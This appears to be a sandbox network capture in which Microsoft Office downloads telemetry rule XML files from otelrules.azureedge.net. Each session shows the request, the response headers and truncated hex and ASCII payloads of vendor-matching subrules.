2024-10-29 19:38:06 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:06 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:06 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: bde7aa86-f01e-0052-08e5-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193806Z-17c5cb586f6b6kj91vqtm6kxaw00000005kg00000000n81d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:06 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:06 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193806Z-16849878b78qg9mlz11wgn0wcc00000006kg00000000e95u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:06 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:06 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193806Z-16849878b78nx5sne3fztmu6xc00000007u0000000011kqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:06 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193807Z-16849878b78j7llf5vkyvvcehs0000000850000000001wyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193807Z-r197bdfb6b46krmwag4tzr9x7c00000006v000000000a7ss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193807Z-15b8d89586fwzdd8urmg0p1ebs0000000hqg000000004cgm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193807Z-r197bdfb6b48pl4k4a912hk2g400000006b00000000010k6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:07 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dbd91de3-001e-002b-2827-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193807Z-17c5cb586f6lxnvg801rcb3n8n00000006wg00000000d9hp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-16849878b78qwx7pmw9x5fub1c000000053g00000000hgmu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:08 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-16849878b78wc6ln1zsrz6q9w800000006k000000000wv19 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:08 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 071448c9-d01e-0028-2702-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-15b8d89586f989rkwt13xern54000000026000000000hhyw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:08 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:08 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:08 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:08 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: e37aa075-401e-0067-7f3f-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193808Z-r197bdfb6b4wmcgqdschtyp7yg00000007100000000056e1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
